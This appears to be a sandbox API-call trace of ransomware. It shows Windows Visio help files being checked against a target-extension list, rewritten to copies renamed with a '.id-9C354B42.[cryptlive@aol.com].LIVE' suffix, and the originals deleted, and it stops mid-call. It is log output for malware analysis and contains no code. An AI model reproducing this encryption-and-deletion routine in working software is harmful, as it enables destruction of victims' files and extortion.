lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1 [0146.636] lstrlenW (lpString=".ppt") returned 4 [0146.636] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.636] lstrlenW (lpString=".zip") returned 4 [0146.636] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.636] lstrlenW (lpString=".rar") returned 4 [0146.636] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.636] lstrlenW (lpString=".bz2") returned 4 [0146.636] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.636] lstrlenW (lpString=".7z") returned 3 [0146.636] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.636] lstrlenW (lpString=".dbf") returned 4 [0146.636] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.636] lstrlenW (lpString=".1cd") returned 4 [0146.636] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55 [0146.636] lstrlenW (lpString=".jpg") returned 4 [0146.636] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.636] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.636] lstrlenW (lpString="VISIO.DEV_F_COL.HXK") returned 19 [0146.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.637] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114) returned 1 [0146.637] CloseHandle (hObject=0x3dc) returned 1 [0146.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 0x20 [0146.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.638] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.638] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0146.639] GetLastError () returned 0x0 [0146.639] ReadFile (in: hFile=0x3dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x72, lpOverlapped=0x0) returned 1 [0146.640] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.641] ReadFile (in: hFile=0x3dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.641] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0146.641] SetEndOfFile (hFile=0x3d4) returned 1 [0146.641] CloseHandle (hObject=0x3d4) returned 1 [0146.641] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.641] SetEndOfFile (hFile=0x3dc) returned 1 [0146.644] CloseHandle (hObject=0x3dc) returned 1 [0146.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 1 [0146.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.645] lstrlenW (lpString=".doc") returned 4 [0146.645] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.645] lstrlenW (lpString=".docx") returned 5 [0146.645] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.645] lstrlenW (lpString=".pdf") returned 4 [0146.645] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.645] lstrlenW (lpString=".xls") returned 4 [0146.645] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.645] lstrlenW (lpString=".xlsx") returned 5 [0146.645] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.645] lstrlenW (lpString=".ppt") returned 4 [0146.645] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.645] lstrlenW (lpString=".zip") returned 4 [0146.645] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.645] lstrlenW (lpString=".rar") returned 4 [0146.645] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.645] lstrlenW (lpString=".bz2") returned 4 [0146.645] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.645] lstrlenW (lpString=".7z") returned 3 [0146.645] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.645] lstrlenW (lpString=".dbf") returned 4 [0146.645] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.645] lstrlenW (lpString=".1cd") returned 4 [0146.645] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.646] lstrlenW (lpString=".jpg") returned 4 [0146.646] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.646] lstrlenW (lpString=".doc") returned 4 [0146.646] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.646] lstrlenW (lpString=".docx") returned 5 [0146.646] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.646] lstrlenW (lpString=".pdf") returned 4 [0146.646] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.646] lstrlenW (lpString=".xls") returned 4 [0146.646] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.646] lstrlenW (lpString=".xlsx") returned 5 [0146.646] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.646] lstrlenW (lpString=".ppt") returned 4 [0146.646] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.646] lstrlenW (lpString=".zip") returned 4 [0146.646] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.646] lstrlenW (lpString=".rar") returned 4 [0146.646] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.646] lstrlenW (lpString=".bz2") returned 4 [0146.646] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.646] lstrlenW (lpString=".7z") returned 3 [0146.646] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.646] lstrlenW (lpString=".dbf") returned 4 [0146.646] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.646] lstrlenW (lpString=".1cd") returned 4 [0146.646] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67 [0146.646] lstrlenW (lpString=".jpg") returned 4 [0146.646] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.647] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.647] lstrlenW (lpString="VISIO.DEV_K_COL.HXK") returned 19 [0146.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.647] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0146.647] CloseHandle (hObject=0x3dc) returned 1 [0146.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 0x20 [0146.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.648] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.648] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0146.648] GetLastError () returned 0x0 [0146.648] ReadFile (in: hFile=0x3dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0146.649] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.651] ReadFile (in: hFile=0x3dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.651] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0146.651] SetEndOfFile (hFile=0x3d4) returned 1 [0146.651] CloseHandle (hObject=0x3d4) returned 1 [0146.651] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.651] SetEndOfFile (hFile=0x3dc) returned 1 [0146.654] CloseHandle (hObject=0x3dc) returned 1 [0146.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 1 [0146.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.655] lstrlenW (lpString=".doc") returned 4 [0146.655] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.655] lstrlenW (lpString=".docx") returned 5 [0146.655] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.655] lstrlenW (lpString=".pdf") returned 4 [0146.655] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.655] lstrlenW (lpString=".xls") returned 4 [0146.655] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.655] lstrlenW (lpString=".xlsx") returned 5 [0146.655] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.655] lstrlenW (lpString=".ppt") returned 4 [0146.655] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.655] lstrlenW (lpString=".zip") returned 4 [0146.655] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.656] lstrlenW (lpString=".rar") returned 4 [0146.656] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.656] lstrlenW (lpString=".bz2") returned 4 [0146.656] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.656] lstrlenW (lpString=".7z") returned 3 [0146.656] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.656] lstrlenW (lpString=".dbf") returned 4 [0146.656] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.656] lstrlenW (lpString=".1cd") returned 4 [0146.656] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.656] lstrlenW (lpString=".jpg") returned 4 [0146.656] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.656] lstrlenW (lpString=".doc") returned 4 [0146.656] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.656] lstrlenW (lpString=".docx") returned 5 [0146.656] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.656] lstrlenW (lpString=".pdf") returned 4 [0146.656] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.656] lstrlenW (lpString=".xls") returned 4 [0146.656] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.656] lstrlenW (lpString=".xlsx") returned 5 [0146.656] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.656] lstrlenW (lpString=".ppt") returned 4 [0146.656] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.656] lstrlenW (lpString=".zip") returned 4 [0146.656] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.656] lstrlenW (lpString=".rar") returned 4 [0146.656] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.656] lstrlenW (lpString=".bz2") returned 4 [0146.656] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.657] lstrlenW (lpString=".7z") returned 3 [0146.657] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.657] lstrlenW (lpString=".dbf") returned 4 [0146.657] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.657] lstrlenW (lpString=".1cd") returned 4 [0146.657] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0146.657] lstrlenW (lpString=".jpg") returned 4 [0146.657] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.657] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0146.657] lstrlenW (lpString="VISIO.HXS") returned 9 [0146.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.657] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2839338) returned 1 [0146.657] CloseHandle (hObject=0x3dc) returned 1 [0146.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs")) returned 0x20 [0146.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0146.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.658] lstrlenW (lpString=".doc") returned 4 [0146.658] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.658] lstrlenW (lpString=".docx") returned 5 [0146.658] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1 [0146.658] lstrlenW (lpString=".pdf") returned 4 [0146.658] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.658] lstrlenW (lpString=".xls") returned 4 [0146.658] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.658] lstrlenW (lpString=".xlsx") returned 5 [0146.658] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1 [0146.658] lstrlenW (lpString=".ppt") returned 4 [0146.658] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.658] lstrlenW (lpString=".zip") returned 4 [0146.658] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.659] lstrlenW (lpString=".rar") returned 4 [0146.659] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.659] lstrlenW (lpString=".bz2") returned 4 [0146.659] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.659] lstrlenW (lpString=".7z") returned 3 [0146.659] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.659] lstrlenW (lpString=".dbf") returned 4 [0146.659] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.659] lstrlenW (lpString=".1cd") returned 4 [0146.659] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.659] lstrlenW (lpString=".jpg") returned 4 [0146.659] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.659] lstrlenW (lpString=".doc") returned 4 [0146.659] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.659] lstrlenW (lpString=".docx") returned 5 [0146.659] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1 [0146.659] lstrlenW (lpString=".pdf") returned 4 [0146.659] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.659] lstrlenW (lpString=".xls") returned 4 [0146.659] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.659] lstrlenW (lpString=".xlsx") returned 5 [0146.659] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1 [0146.659] lstrlenW (lpString=".ppt") returned 4 [0146.659] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.659] lstrlenW (lpString=".zip") returned 4 [0146.659] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.659] lstrlenW (lpString=".rar") returned 4 [0146.659] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.659] lstrlenW (lpString=".bz2") returned 4 [0146.659] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.659] lstrlenW (lpString=".7z") returned 3 [0146.660] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.660] lstrlenW (lpString=".dbf") returned 4 [0146.660] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.660] lstrlenW (lpString=".1cd") returned 4 [0146.660] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0146.660] lstrlenW (lpString=".jpg") returned 4 [0146.660] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.660] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0146.660] lstrlenW (lpString="VISIO.SHAPESHEET.HXS") returned 20 [0146.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.660] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=879814) returned 1 [0146.660] CloseHandle (hObject=0x3dc) returned 1 [0146.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 0x20 [0146.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.661] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.661] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 